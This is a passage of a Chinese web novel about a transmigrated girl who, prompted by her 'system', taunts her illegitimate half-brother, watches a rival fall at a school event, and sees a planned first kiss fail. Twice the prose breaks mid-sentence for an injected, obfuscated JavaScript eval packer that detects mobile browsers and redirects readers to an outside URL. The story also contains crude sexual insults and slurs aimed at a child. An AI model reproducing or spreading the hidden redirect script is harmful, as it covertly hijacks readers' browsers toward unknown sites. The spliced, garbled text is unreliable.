她下意识把男孩揽入怀里,像被食肉动物盯上的兔子,双腿隐蔽地打着颤,眼睁睁看着对方一步步逼近,却毫无还手之力。 “好久不见啊。” 少女的嗓音清冽动听,但落入江若紫耳中,却化作了嘶嘶吐着舌信的毒蛇,尖利的牙齿闪着寒光。 她紧张地咽了咽口水,没拿东西的右手护紧了旁边的儿子。 “你、你想干嘛?”江若紫结巴地问,“你来干嘛?” 相比于她的慌乱,温初夏就要云淡风轻许多,耸耸肩,回答:“显而易见,来看看你最有力的也是唯一的靠山,究竟死没死。” 闻言,江若紫柔弱的面孔霎时变得雪白一片。 她的额肌紧紧收缩,眉心拧出条细沟,连带着上眼睑也开始轻微抽搐,一开口,连声音都是颤的:“你怎么能这么说,老太太她可是你的亲奶奶啊。” “亲?”温初夏笑了,“有血缘关系就叫亲吗?在她心里,我恐怕连你生的这个见不得光的私生子一根汗毛都比不上吧。” 她抱着胳膊,微微俯身,冬月一样清冷又雪亮的目光和眼前这位弱的跟小鸡仔一样的男孩对视。 “温、景、澈。” 粉嫩的唇缓慢开合,露出里面瓷一般的牙齿和猩红湿润的舌,“是这个名儿吗?我没记错吧?” 温景澈有些紧张地点了下头,口罩之上的一双眼睛黑白分明,像沉入平静湖面的琉璃珠,带有镜面一般的清透感。 他左眼靠近下眼睑的位置有一颗很小的黑痣,但因为皮肤白的跟纸一样,所以衬得这颗痣十分清晰,看着还怪可爱的。 如果他未来不会和自己争夺家产,并且不会和霸总文女主一起联手制裁自己的话,温初夏会觉得他更可爱。 她又问:“那你记得我是谁吗?” “记得。” 大概是换季咳得太狠了,温景澈的嗓音有些沙哑,但沙哑之中仍带有小男孩变声期之前的脆亮。 他乖巧地回答:“你是姐姐。” 温初夏愣住:诶?这不对吧。 她还以为温景澈会跟他妈他奶一样,非常仇视自己,仇视到恨不得把她的皮抽她的筋,因为霸总文原文里的温景澈对女二就是这个态度。 结果这小孩儿居然礼礼貌貌地叫她姐? 真稀奇,自己居然一天之内被两个人叫了姐,嘿嘿。 不过,就算如此,温初夏也是不会给温景澈好脸色看的。 “别乱攀关系。”她施施然直起背,冷言嘲讽: “你和我又不是一个妈生的,算我哪门子弟弟,你只是私生子,私生子懂吗?放在古代,你和你妈都是要被浸猪笼的,别以为自己多长了根屌就了不起。” 江若紫听的心惊肉跳,最后一句更是想捂住儿子的耳朵。 为了保护孩子的幼小心灵不被污染,更是为了不被温初夏这么一直压着骂,她努力鼓起勇气,表达自己的不满:“你、你一个女孩子家家的,怎么能说这么粗鲁的话呢。” “粗鲁吗?”温初夏抬眸,好整以暇地晲她一眼,“你敢说你没舔过?不然是怎么爬到我爸床上去的,还生了个小杂种出来。” 惨白的脸颊瞬间变得爆红,江若紫羞的几乎要晕过去,唇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502014|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 角肌肉抽搐了好几下,但没等她想出该如何回击,温初夏就又把目光重新挪回温景澈身上。 她发现这孩子的神情和刚才相比没有丝毫变化,大概率是没听懂,于是顿觉无趣,垂手扯了扯有些下滑的腿袜,功德圆满地想要离开。 但这时,小杂种却开口了。 “姐姐。” 刚迈开的脚步又顿住,嗓音尽显傲慢:“有屁事?” 男孩仰头注视着温初夏,这样的角度让他看起来更加无害可爱,清澈的目光中居然带着一丝崇敬,他说:“虽然姐姐不常回家,但爸爸和奶奶都经常和我提起你。” “爸爸说,姐姐你是个非常独立的人,不用任何人照顾也能活的很好,让我以后长大了也要像你一样,自立自强;奶奶说,姐姐你的成绩特别好,每次考试都是年级第一,让我要以你为目标,以后要变得和你一样优秀。” 温初夏乐了—— 什么以我为目标,难道不应该是把我踩在脚下才对吗,啊,伪装成小绵羊的大尾巴狼? 刚才我还真是看错你了啊小混蛋,你长大之后肯定是个人物,女二温初夏最终的结局那么悲惨,应该有你出了不少力。 于是兴致又起,温初夏伸手,把温景澈的西瓜头用力揉成乱蓬蓬的鸡窝,然后在江若紫惊恐的目光下戳了戳他的额心,圆润的指甲在白纸一样的皮肤上留下道道浅红色的小月牙。 “那我劝你趁早换个目标。”温初夏漫不经心道,“因为你永远都不可能比得上我,走了。” 她错身离开,毫不在意男孩回过头黏在自己身上的目光。 而那道目光,就落在她不经意间扯过的右腿腿袜上。 …… “喂。” 等出了电梯,温初夏拿出响了两轮的电话,放在耳边接听。 “……哎呀看了看了。”语气很不耐烦,“刚看完出来,奶奶精神挺好的。”还能拿水杯砸我呢。 “……我才不来,一群大人无聊死了,还不如找个路边摊吃碗麻辣烫。” “……不、回,老问这个问题你不烦我都烦了,我这边打车呢,挂了啊拜拜。” 通话戛然而止,温汝峰轻叹了口气。 奢阔穹顶的豪华包厢,空气中弥漫着清雅的香氛,和刚端上桌的陈年花雕蒸帝王蟹的酒粕回甘,背后的落地窗将外滩夜景尽收眼底,一群西装革履的成功人士围坐在黑檀木嵌银丝的圆桌边,觥筹交错,谈天论地。 身边的刘副总刚才一直在悄摸偷听,一见温汝峰把手机放在瓷碟边,立刻侧身凑近一点,微笑着问:“温总,和闺女打电话呢?” “是啊。”温汝峰无奈一笑,“这青春叛逆期的小孩儿,我多说几句就要挂电话。” 刘副总和盛世合作过很多次,比旁人稍微多知道一些温家的家事,但对于刚才电话里那位温家下一代继承人却知之甚少,只知道是个女孩,还没成年。 消息封锁的越死,就说明温家对这位继承人越重视,刘副总心想这场饭局自己可是来对了,赶紧把话题顺着往下,企图多打探一些消息出来,这对未来他和盛世继续合作只有好处没有坏处。 “认识温总这么久,我还是头一回听您说起自家孩子呢,敢问令爱今年多大啦?”刘副总冲圆桌对面抬抬下巴,“是不是和苏总的闺女差不多啊。” “是,她也在读高中。” 温汝峰顺着刘副总的目光看了那边的苏腾飞和苏筱筱一眼,发现父女俩很亲密地挨在一起,和周围的人聊着天说着话,心里升起一丝羡慕。 “但我家那个和我一点儿也不亲,苏总比我教女有方多了,我一会儿得去向他取取经啊。”温汝峰半开玩笑。 “我觉得这也和孩子的性格有关系。”刘副总殷勤地分析,“苏总经常带他的宝贝闺女一起参加饭局,一般来说,十六七岁的小姑娘应该都不太喜欢这种场合,就算来了也不说话,吃完就玩手机。” “但苏总的闺女就不一样了,叫什么名儿来着?好像是筱筱吧,表现得特大方,也贼爱和我们这些叔叔辈的说话,一看就是天生爱社交的性格——对了温总,您家孩子在哪个高中上学呀?” 话题转化的有些生硬,温汝峰没立刻回答,而是端起酒杯喝了一口,恰好听见一桌之隔的苏筱筱正聊起学校的八卦—— “我们学校的年级第一是特困生,全靠学校给她发奖学金才能勉强维持生活,可能是家里太穷的原因吧,她性格……有些怪怪的,还很孤僻,之前在班里一直没有朋友,甚至都没人和她说话。” “但这学期,班里新来了个富二代转校生,班主任安排他俩做同桌,然后不知怎么回事他俩就勾搭上了,那转校生被她迷的晕头转向的,现在全校都知道他俩在谈恋爱,老师根本管不了。” 旁边的叔叔笑着说:“一个成绩好,一个家世好,换我是老师我也管不了啊。” “这小姑娘有点儿手段啊,能勾搭上有钱人,肯定长得还不错吧。” “是呀,相对于她的成绩来说,长得是挺好看的。”苏筱筱一副深感知人知面不知心的表情,“我之前一直以为她是个只知道学习的书呆子,到了这学期才发现,原来她背地里小心思特别多。” 她撅起嘴,气呼呼地诉苦:“下周我们学校要举办一个和英国高中的联谊活动,她不仅没有任何主持经验,英语成绩也不突出,却非要和我抢主持人的位置,真是气死我了。” “然后呢,你是怎么做的?” “然后我就去国际交流处的老师理论啊。”见周围的大人都在听自己说话,苏筱筱开始有些嗲声嗲气,“我说她除了总分第一之外其他哪儿哪儿都比不上我,怎么能让她主持呢,这不是丢咱们学校的脸吗。” “老师们其实也知道这点,怕她到时候发挥不好在外校面前丢人,所以就让我到时候和她一起主持,还拜托让我辛苦一下多教教她。” 一听女儿在学校受了委屈,苏腾飞黑着脸,严肃道:“对这种人还需要给什么好脸色,我平时教你,被欺负了一定要以牙还牙以眼还眼。她和你一个班的对吧?我一会儿就联系你们班主任,让她好好教育一下,我们清荟虽然是以精英教育出名的,但对学生的品行也同样要重视。” “不用啦老爸。”苏筱筱俏皮地眨了眨眼,桌面下的小皮鞋慢悠悠晃着,语气轻松地说: “你女儿我怎么可能白白遭人欺负呢,你等着瞧吧,到时候我绝对要惊艳全场,让在场的所有人都看到我比她优秀,你到时候也要来看哦。” “好好好。”苏腾飞笑着点头,周围人也纷纷被苏筱筱可爱的表现逗乐,恭维说虎父无犬女。 唯独圆桌对面的气氛有些冰冷。 …… 半小时后,饭局结束,苏腾飞挽着女儿的手正要离开,忽然看见温汝峰从面前走来,顿时喜上眉梢,忙撇开女儿,快步迎上。 “哎呀温总。”苏腾飞伸手握了握,笑着道:“刚才在包厢咱俩的位置离太远了,都没能和您多聊一聊,我本来想着结束后来找您呢,没想到刚好就碰到了,巧了不是。” 温汝峰松开手,脸上带着客套的笑,道:“我刚刚在饭桌上听说,清荟下周要和海外学校举办什么活动?” “联谊活动。”苏腾飞立即回答,又解释说:“就是促进学校之间的交流,同时也可以拓宽一下学生们的视野,清荟这些年几乎每学期都会搞一次这种活动。温总您平时日理万机,怎么忽然对小孩子过家家感兴趣了?” 温汝峰回说:“哦,是这样的,其实我的小儿子就在你们学校念书,但他是初中部,我觉得你们这个活动很有意义,想着是不是能让他到时候去旁听……” 话还没说完,苏腾飞就殷切地应下:“那当然可以了!我这就去让人安排,没想到温总的孩子就在我们清荟念书,简直让我感觉蓬荜生辉啊,荣幸,太荣幸了哈哈哈。” 24. 第 24 章 周四一早,大礼堂就开始忙碌起来。 所以布置都已提前完成,正在进行最后的准备工作,检查多媒体设备,调整拍摄机位,装饰会场悬挂校旗,全都由学生会来负责。 此次和英国金士顿中学的联谊活动,全校上下,无论是领导还是老师还是学生,都表现得非常重视。 不仅是因为两所学校本身关系就要好,更重要的是,第二天周五恰好是清荟建校50周年校庆,白天会举办隆重的庆典,晚上还要举行舞会,期间都不用上课。 并且还有更绝的,校庆结束后,下周开始清荟将举行为期三天的夏季运动会,也就是说,从这周四一直到下周三,连续七天,学生们都不用上一节正课。 是以昨天下午,每个老师在上课时都不得不停下来好几次管理课堂纪律,却丝毫压制不住学生们对于放假的激动,跟飘在水里的葫芦一样,按下这个起了那个。 温初夏也很激动,不过不是因为放假,而是今天她即将迎来《等风说雨停》全书最最重要的两个剧情点:青涩纯真的初吻,以及赤诚的告白。 没错,这俩是连在一起的,先亲嘴,后告白,一气呵成,非常连贯且丝滑。 只要她能顺利走完今天的剧情,《等风说雨停》这本书就很快可以告一段落了。 然后,她就能出国纵情享受个六七年,等到霸总文剧情线开启了再回国,从清纯小白花人设,切换为她更为熟悉的病娇恶女。 真是想想就觉得激动。 欢迎会还有十分钟开始,温初夏坐在礼堂第一排的椅子上,手里拿着提词卡,修剪得整齐圆润的指尖轻轻敲打着卡背,发出有节奏的微弱声响。 忽然,耳边传来一声讥笑:“你不会就打算穿这个上台吧?” 温初夏侧目,看见苏筱筱踩着小高跟,拎着小半米长的礼服裙摆姗姗来迟。 她脸上化了精致的浓妆,长发烫成惹眼的大波浪,十根指头钻光闪闪,项链耳饰戒指更是一个也不少,可以说是盛装出席了。 而自己呢,衣服是清荟夏季制服,顺直的长发披在肩前身后,一张小脸素面朝天,全身上下唯一能称得上饰品的东西就是一支电子表,平平无奇地圈在纤细的腕间,打扮的和平常上课没有任何区别。 苏筱筱来到温初夏身边的空位坐下,用L形的目光把她从头到脚扫视一遍,嫌弃道: “你知不知道今天有几家媒体要来,素成这样还想主持,说你没经验吧,不化妆就算了,怎么连最基本的礼服也不知道穿,上次雅宜生日会你穿的那件黑丝绒呢,退回去了?” 温初夏满脑子都在想走剧情的事,完全没心思和小女孩拌嘴,听完这句聒噪后,她连一个眼神都没给,起身去往后台。 整个欢迎会的时间不长,流程也很简单,主要分为三个部分,开场是介绍双方学校信息和活动内容,中场是双方校长致辞并展示清荟的校园风光,末尾是合影交流以及茶歇。 温初夏只负责第一部分,之后全都由苏筱筱来主持,所以她提前去后台倒也合情合理。 但苏筱筱还是被她目中无人的态度气得够呛,有气没处撒,尖锐的美甲把提词卡掐出明显的划痕。 不久后,张紫凌来了。 她一见面就夸赞道:“天呐!筱筱你今天好美啊!” “你也太夸张了吧,我觉得也就还行。” 话虽如此,但苏筱筱嘴角还是忍不住翘起,又注意到观众开始陆续入场了,压低声音道:“我为了今天能不水肿,昨晚直接没睡,凌晨三点就开始做造型了。” “妈呀,活该你这么漂亮。”张紫凌赶紧给苏筱筱奉上一杯续命冰美式,转头四处搜寻温初夏的身影。 结果温初夏没找到,反而看见一群穿着清荟初中部校服的小矮子,齐刷刷走进身后第二排的座位,坐下。 张紫凌觉得很稀奇,回头小声问:“怎么初中部的也来了?” “我也不知道。” 苏筱筱插入吸管喝了口,被苦的直皱眉,吧唧吧唧嘴,说:“是我爸临时安排的,好像是里面的哪个学生比较重要吧,所以还特意把位置安排在了最前面。” “哦。”张紫菱点点头,又说:“那温初夏呢,我怎么没看见她人啊。” 张紫凌不知道,在她问出这句话时,坐在自己正后方的小男孩忽然瞥了她一眼,黑白分明的大眼睛里流露出一丝探究。 “刚去后台候场了。” 苏筱筱翻了个白眼,美瞳差点滑片,闭上眼继续吐槽: “她今天穿的校服你敢信,妆也不化,简直寒酸的要命,换我宁愿不上也不会打扮成那样来主持,太给咱学校丢人了。” 张紫凌听后,十分嫌弃地“咦”了一声,说:“好low啊她。筱筱你今天打扮得这么好看,又在温初夏之后上场,有眼睛有耳朵的人肯定都会觉得你比她要好得多。” 苏筱筱被捧的有些飘飘然,说:“那是当然啦,我提前练习了好久呢,台词全都背下来了,一会儿你记得帮我多拍点照片啊,结束后我要发朋友圈,好好阴阳一下她,让她不自量力,哼。” “行~” 一想到待会儿温初夏要丢大人,张紫凌差点忍不住笑出声。 憋着偷乐完后,她低头帮苏筱筱整理裙摆,将拖地的部分全都藏进自己的座椅下方,又仔细调整好角度,方便她之后站起来可以直接走上台,不用再整理裙子。 礼堂中部靠右的地方坐着高二(一)班的学生,此时距离欢迎会开始还有五分钟,大屏幕正在播放暖场视频,是金士顿中学的校园历史介绍。 李确看了会儿,觉得等待的时间有些无聊,于是微微偏过头,和左手边的时准聊天。 “明晚就是校庆舞会了,你舞伴找好了吗?” 时准本来正在垂头看手机,听到声音立刻把屏幕摁熄,还把手机翻转个面,像是生怕被人看见一样。 他端正了下坐姿,又咳了声,才回道:“还没有。” 其实昨天上午他就给温初夏发了消息,询问能否邀请她明晚作为自己的舞伴一起参加舞会。 但直到现在温初夏都没有给他回复,也不知道究竟是没看见,还是看见了但不想回。 同在一班,李确很清楚时准的受欢迎程度,所以对他还没有找到舞伴的事感到十分惊讶,但紧接着,心中又升起一阵朦胧的、不知从何而来的窃喜。 像桃子毛茸茸的外皮。 李确想了想,又问:“那你有心仪的对象吗?” 时准没回答,而是反问:“你有吗?” 这倒把李确问住了:“我……” 他张着嘴,“我”了好半天也没“我”出个所以然来,同时,白皙的耳廓逐渐染上可疑的红晕,隐隐有向面颊逼近的趋势。 李确忙欲盖弥彰地揉了揉左耳,假装变红是因为暴力揉搓,而不是因为害羞,口干舌燥地把话补全:“我其实还没想好。” 说完,他心虚地瞄了时准一眼,发现对方一副想着心事的模样,并没有在意自己的反常,于是松了口气,脸上的燥热也迅速散去。 很快,欢迎会正式开始,嘈杂的观众席安静下来,一位身穿工整校服的少女走到舞台左侧的发言台。 聚光灯在弧形的穹顶投下柔和的光晕,照在她那张妍丽又沉稳的脸上,板正合身的制服衬衫领口处正随着胸腔的起伏轻轻震颤,像一片被海风拂过的、永不慌乱的帆。 发言前,她抬手调整麦克风的角度,指腹掠过支架带起轻微的电流杂音。 此时此刻,台下近千道目光都汇聚于她一个人身上,却不见她显露出一丝慌张,甚至连睫毛在眼下投出的阴影没有变化分毫。 直到麦克风调整完毕,少女才不疾不徐抬起眸,露出一个优雅的微笑,嗓音如同山间清凉的溪水一般流淌出来,浸润心灵肺腑。 “Goodmorning,distinguishedguests,Itisatrueprivilegetostandbeforeyoutoday……” 她虽然是拿着词卡上台的,但全程脱稿,没有低头看过一眼,流利且专业地将开幕词说完后,请观众们鼓掌欢迎校长上台致辞,接着在掌声雷动中低调离场。 主持结束,温初夏的计划是直接拉着宋云泽去走剧情。 她让宋云泽提前在礼堂外的休息区等自己,这边一完事,就和他一起去学生活动楼的形体教室,按照原著里描写的那样,该表白表白,该接吻接吻。 刚刚在台上的时候没紧张,现在下了台,温初夏的小心脏反而开始怦怦乱跳,但不是因为紧张,而是因为激动。 她在心里反复告诫自己要冷静,一定要冷静,苦日子马上就要熬出头了,临门一脚千万不能出岔子。 然后,就被人拦住了。 “姐姐。” 温景澈不知道从哪儿冒出来,堵在她去往休息区的必经之路上。 今天的小混蛋没戴口罩,温初夏终于看清了他长什么样—— 12岁的男孩下颌线尚不清晰,但鼻梁却比一般的男高都要挺拔立体,双颊带有婴儿肥,一双眼睛圆润明亮,嘴唇偏薄,唇珠突出,开口说话时露出略微尖锐的虎牙。 温初夏心里点评:嗯,倒是挺会遗传。 眉眼和鼻子都有点像温汝峰,嘴巴像江若紫,看上去像是很会舔人的样子。 大概率还很会咬人。 “姐姐,你刚才好厉害呀。” 激动的心跳落回正常,温初夏眉心轻折,语气实在算不上好地问:“你怎么来了?” 面对她的冷待,温景澈还是腆着一张天真烂漫的崇拜脸,解释说:“是爸爸让我来的,他听说姐姐你今天是主持人,所以让我来看一看。” “看什么?” “当然是看姐姐到底有多厉害多优秀啊。” 大概是有些紧张,温景澈默默抱紧了怀里凹进去一个坑的保温杯,这个小动作毫不费力地被温初夏捕捉到,她眼神一扫,噗嗤一下笑出声。 “都坏了还在用,怎么,那老yao……你奶奶是舍不得给你买新的吗?” 结果男孩摇摇头,很认真地说:“不是,是我自己不想换的。爸爸说姐姐你从小就很节俭,一样东西不用到彻底报废是不会换的,我想像向姐姐学习。” “什么节俭。”温初夏忍不住走近,捏了捏他豆腐一样的小嫩脸,教训道:“我这是物欲低且恋旧,金牛座都这样,懂不?” “哦……”温景澈揉揉被捏的发红的右脸,小声补充:“我是天蝎座。” “谁问你了,别自作聪明好吗。”温初夏又轻蔑地笑笑,同时垂手扯了下右腿有些下滑的腿袜。 灰色棉质袜口弹到雪白滑嫩的皮肤上,发出“啪”一声脆响。 多年前的那场意外导致温初夏右腿肌肉萎缩,虽然她后续做了很多康复训练,但右腿还是比左腿要细一些,所以这边腿袜才老是往下滑。 脚后跟轻巧地落回地面,漫不经心的动作好像一只高雅的黑猫,温初夏懒懒地问:“你抱个保温杯出来,应该不是单纯只想和我说话吧,是要去接水吗?知道饮水机在哪儿吗?” 小西瓜头点了点,又摇了摇。 温初夏心说自己怎么就这么善良呢,全当是在干大事之前攒点儿人品吧。 于是她拍拍温景澈单薄到有些硌手的肩膀,大发慈悲道:“走吧,我带你去,就在前面休息区那儿。” 宋云泽刚在沙发上坐下,就看见温初夏走了过来,身边居然还带着一个穿着初中部校服的小男孩,两人衣着类似,细看长相居然也有些神似,活像是去拍亲子照的。 刚坐下的屁股又抬起来,宋云泽走到温初夏面前,目光带疑地问:“这位小朋友是?” “他……” “我是她弟弟。” 温初夏低头去瞪小西瓜:嘿你个小王八蛋,是真不怕我当着外人的面扯开你是私生子的遮羞布啊。 “弟弟?”宋云泽左侧的浓眉惊讶上扬,“亲的?” 多半是亲的,毕竟这小屁孩儿和时准相比,五官可是和温初夏要像多了。 宋云泽有些委屈:“我认识你这么长时间,居然才知道你有这么大个弟弟——你可是第一次见面就知道我有亲姐的。” 温初夏不懂他在委屈个什么劲儿,推推温景澈的后背,指着斜前方的接水房和他说:“去吧,饮水机在哪儿,接完之后赶紧回礼堂坐着,老实点儿,别乱跑。” 说完,就和宋云泽并肩离开了。 “你怎么一点儿也不和我说你家里的事呢。”某人还在委屈。 “这又不是什么很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502015|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重要的事。等我以后再慢慢告诉你,可以吧?” “那既然你明明有亲弟弟,为什么还要认时准……” “诶你有完没完!再说我生气了。” “好好好,我不说了不说了。” …… 直到两人的背影彻底消失在拐角处,温景澈才收回视线,走去水房,接了满满一杯冷水。 弯腰回到第二排的座位,致辞还未结束,校长仍在讲个不停,温景澈把沉甸甸的水杯轻轻放在脚边,听见旁边的同学有些惊讶地问: “你又去接水啦?你这也喝的太快了吧,不怕待会儿疯狂跑厕所啊。” 温景澈:“我今早吃咸了。” 他说这话的语气十分正常,甚至还带有一丝温和的笑,像是在感谢同学的关心,但看着台上校长的眼神,却无比淡漠。 大腹便便的肚子连身前的发言台都没法遮住,真是头肥猪,和姐姐相比简直是一个天上一个地下。 身边的同学也有同感,极小声地和温景澈吐槽:“高中部的校长也太胖了吧,看着好油腻啊,还是刚才那位学姐赏心悦目,声音也好听,英语口音和英剧里的角色一模一样,太厉害了。” 坐在前面的苏筱筱听到这句话,心底的不平衡瞬间又高涨了好几倍,尖锐的美甲刺入掌心,她暗暗在心里发誓,自己待会儿一定要风风光光走上台,展示出最漂亮最自信的一面。 两分钟后,她看见舞台侧边角落的场务朝她招招手,意思是让她可以去后台准备入场了。 苏筱筱赶紧从包包里拿出粉饼补妆,又反复问张紫凌自己的妆面完不完美,还有哪里需要再补一下。 “不用再补啦亲爱的,你已经很漂亮了。”张紫凌瞥了眼已经要急冒烟的场务,催促道:“快去吧,校长马上就要下台了。加油。” “好。” 苏筱筱自信又紧张地点点头,起身往后台走。 然而高跟鞋刚迈开没两步,苏筱筱就感觉不对劲,似乎有什么重物压住了她的裙摆,回头一看,却发现并没有。 但时间紧急,她只能继续从后台匆忙走到台前,赶在校长最后一句话话音刚落时,站到了之前彩排好的位点。 裙子实在是太沉了,苏筱筱一路走来十分吃力,连额头都有些轻微冒汗,但她不再去想到底怎么回事,举起手里的定制麦克风,嗓音甜甜地开口: “ThankPrincipalforourthewonderfulspeech.Now,wewillmoveontothesecondpart……啊!” 一声重物落地的巨响把苏筱筱吓得直接破了音,同时台下也一片哗然。 扭头一看,才发现居然是校长在下场时摔了一跤。 这位两百来斤的中年男子一脸痛苦地倒在木地板上,沾了水的衬衫面料变成了半透明,紧贴着肥硕的啤酒肚,而他身下的地面有一道水痕,在聚光灯的照射下反射出明显的光。 苏筱筱都懵了:舞台上怎么会有这么大片的水?是哪个王八蛋活腻了故意搞破坏撒的??场务怎么也不及时清理一下呢! 妈的怎么一到自己上台就开始出事故。 苏筱筱一边心里咒骂,一边吃力地提起沉重的裙摆,每走一步都跟拔河似的,想去把校长扶起来。 然而,就在她距离哎呀直叫的校长只剩半米远时,踩在湿漉漉地板上的高跟鞋忽然一滑—— “啊!” 小巧的鞋尖覆在名牌球鞋上,再用力往下一碾。 宋云泽痛得五官都皱到一起,他单脚蹦了蹦,扶住身后的把杆,抽着气道:“嘶——我不就是出错了脚吗,你也太狠了。” “是第五次出错脚了。”温初夏严肃强调,小脸气鼓鼓的,“你这样四肢不协调那我们明晚还怎么跳啊,你到底想不想当我舞伴了?” “当然想。” 宋云泽忽然激动起来,两脚站稳,双手握住温初夏纤细的肩膀,和她对视,剑眉星目的眉眼之间浮现出一点戾气,嗓音绷紧,低沉地问:“不然你还能找谁?” 来了来了来了。 温初夏心脏狂跳。 她微微侧过头去,假装害羞不敢看宋云泽的眼睛,耍小脾气道:“想找我当舞伴的人可多了好吗,再说了,学校又没要求只能和同桌一起跳舞,那我为什么不能找别人……” 握着肩膀的手加重了力道,少年眼中闪烁着焦躁又紧张的火光:“难道在你心里,我们就只是普通的同桌?而已??” 纤长柔软的睫毛颤动了几下,像受惊的蝴蝶收拢翅膀,每次眨眼都藏着未说出口的慌张。 她问:“那在你心里,除了同桌之外,咱俩还有什么关系?” 鬼使神差地,宋云泽把目光落在了她淡粉色的唇上。 像春日初开的桃花瓣,泛着自然的水润光泽,呼吸间飘来若有若无的草莓味,让人想轻轻啄一口,尝尝看是不是真的带着果香。 看着宋云泽慢慢俯下身,温初夏下意识屏住了呼吸,同时配合地踮起脚尖,满脑子都是“稳了稳了姐再也不用过担惊受怕的苦日子了,以后什么界面融合度,什么黑化不黑化的都与我无关哈哈哈……” 双唇即将触碰到的前一毫秒。 “嘭!” 形体教室紧闭的门被一脚踹开。 里面的两人都被这声动静吓了一跳,嘴唇错开,接着又迅速拉开距离,看向门口。 只见一只骨节分明、青筋凸起的手把反弹回去的门再次推开,接着,时准走了进来。 他脸色差的可怕,一到室内,目光就紧紧黏在宋云泽抓着温初夏肩膀的手不放,看表情,似乎是很想把那双手臂给折断。 喉结滚过干燥的声带,少年吐出的每一个都像冰块一样砸到地上: “你们在干什么?” 窗外茂密的梧桐树之间冷不丁地爆发出一声尖利的蝉鸣,响彻天际。 夏天,真的来了。 温初夏大脑空白了两秒,紧接着就听见要人老命的警报声和杀千刀的系统音同时出现—— “警告!警告!《等风说雨停》关键剧情‘初吻’及‘告白’任务失败,界面融合度下降至50%,距离界面完全崩溃仅剩10天,现在开始计时。” 温初夏:我天塌了!!!!!! 25. 第 25 章 “亲爱的,别哭了。” “是呀,你忘啦,明天我们要一起参加学校的舞会呢,你哭太猛把眼睛哭肿了怎么办。” “其实上午的事真的没什么,哪个女人没穿高跟鞋摔过跤?而且校长摔的比你惨多了,大家要笑也只会笑话他,不会笑话你的。” 苏家别墅二层的卧室,苏筱筱面朝下趴在软床上,哭得泣不成声,身边围满了她的朋友,拍肩的拍肩,递纸的递纸,都在想尽办法安慰她,劝她振作起来。 周雅宜神色不虞地坐在飘窗上,小声问身旁的李书雪:“你们之后有去调监控吗?查出来是谁往她裙子上倒水了没?” “调了。”李书雪叹了口气,“但她后排坐的是初中部的小孩儿,欢迎会开完之后全都回初中部校区继续上课了,而且对着观众席的监控又糊的很,根本找不到人。” 看着床上耳朵哭成血红一朵的苏筱筱,李书雪忍不住龇了龇牙。 当着全校师生和近百名外校师生以及记者的面摔的那么惨,高跟鞋的鞋跟还把校长的下巴戳破了,原本只有三层的下巴瞬间变成四层…… 李书雪觉得,如果换做是自己丢了这么大的人,她大概率会直接转校。 “肯、肯定是温初夏搞的鬼!”床上的人忽然用力一捶枕头,“不然还有谁这么恨我,敢这么算计我,害我在所有人面前出丑呜呜呜……” 李书雪把目光重新移回周雅宜身上,压低声音问:“你觉得会是温初夏吗?” 周雅宜秀气的眉毛拧起,思考了会儿,轻摇着头说:“不知道,感觉不太像。而且温初夏在校长登台之后就离开礼堂了,根本没有机会下手啊。” 李书雪表示赞同:“我也是这么觉得的,但……”你觉得面前这位会接受这个解释吗? “那个贱人!我要杀了她啊啊啊——!” 两只拖鞋凌空翱翔,床上的人又开始突发恶疾,四肢并用地捶天捶地捶空气,李书雪不再往下说,双手捂住耳朵,勉强克制住想要翻白眼的欲望。 此时此刻,同样突发恶疾的,还有在出租屋里满地乱爬的温初夏。 “怎么办?怎么办!你告诉我,现在到底应该怎、么、办?!!” 粉团子被她死死掐在手里,感觉自己快要被捏爆了,窒息的声音从指缝中溜出来:“宿主,泥冷静、一点,不系还有十天吗?” 闻言,刚松开一点的力道又重了回去,温初夏抓狂道:“这么点时间够个毛线啊!你既不让我主动去亲宋云泽一口,又不准我直接和他生米煮成糊饭,那我还能干什么我问你,lookinmyeyes!” 粉团子费劲巴拉地从五指山里挤出来,跳到茶几上,啪叽摔成一滩奄奄一息的薄饼,虚弱道: “我不都和你解释过很多遍了吗,这俩剧情点是《等风》最最重要的部分,不是你随便想补救就能补救回去的。咱毕竟是本玛丽苏校园文,你见过哪家校园文的男女主是在吃晚饭的时候表白或者打啵的?” “之前你想在摩天轮上让宋云泽提前告白,不也是因为这个吗。这点宿主你心里其实很清楚,只是现在时间太紧张了,所以你有些着急,我理解。” 被说中的温初夏“噗啪”一声,也和粉团子以同款姿势瘫倒在旁边的沙发上。 见她终于冷静下来,粉团子松了口气,继续道:“但越是到这种危急关头,咱就越急不得,得先找到一个足够浪漫,足够有意义的时间和地点,然后再……诶诶诶,咋了这是??!” 粉团子赶紧把自己团成球,立起来,发现沙发上的人不知什么时候缩成了小小一团,双手掩面,克制的抽泣声从手掌间溢出来,肩膀伴随着哭泣微微耸动,看起来可怜极了。 !!! 粉团子如遭雷劈。 算算时间,她成为温初夏的随身系统也有大半年了,粉团子自认为,她已经非常了解宿主的性格,知道温初夏是个宁可流血也不流泪,宁可受罪也不低头的人。 所以,温初夏哭了这件事情,在粉团子心里的重量级,那简直只有地球要毁灭了可以匹敌,于是她登时慌了—— “宿主你别哭呀!事情还没糟糕到那份儿上,一切都是还有转机的……你等着,我这就联系总部去,让他们一起想办法,保证能在十天之内帮你把失败的这俩剧情点补回来。” 说完,粉团子就急忙下线了。 她走后,客厅的哭声戛然而止。 